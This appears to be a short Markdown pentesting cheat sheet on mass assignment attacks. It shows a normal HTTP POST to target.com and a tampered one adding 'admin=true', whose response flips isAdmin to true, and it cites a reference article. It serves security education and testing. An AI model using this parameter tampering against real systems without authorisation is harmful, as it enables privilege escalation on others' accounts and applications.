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40 lines
808 B
Markdown
40 lines
808 B
Markdown
# Mass Assignment Attack
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## Introduction
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Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS
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## How to exploit
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- Normal request
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```
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POST /editdata HTTP/1.1
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Host: target.com
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...
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username=daffa
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```
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The response
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```
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HTTP/1.1 200 OK
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...
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{"status":"success","username":"daffainfo","isAdmin":"false"}
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```
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- Modified Request
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```
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POST /editdata HTTP/1.1
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Host: target.com
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...
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username=daffa&admin=true
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```
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```
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HTTP/1.1 200 OK
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...
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{"status":"success","username":"daffainfo","isAdmin":"true"}
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```
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## References
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* [Pentester Academy](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda) |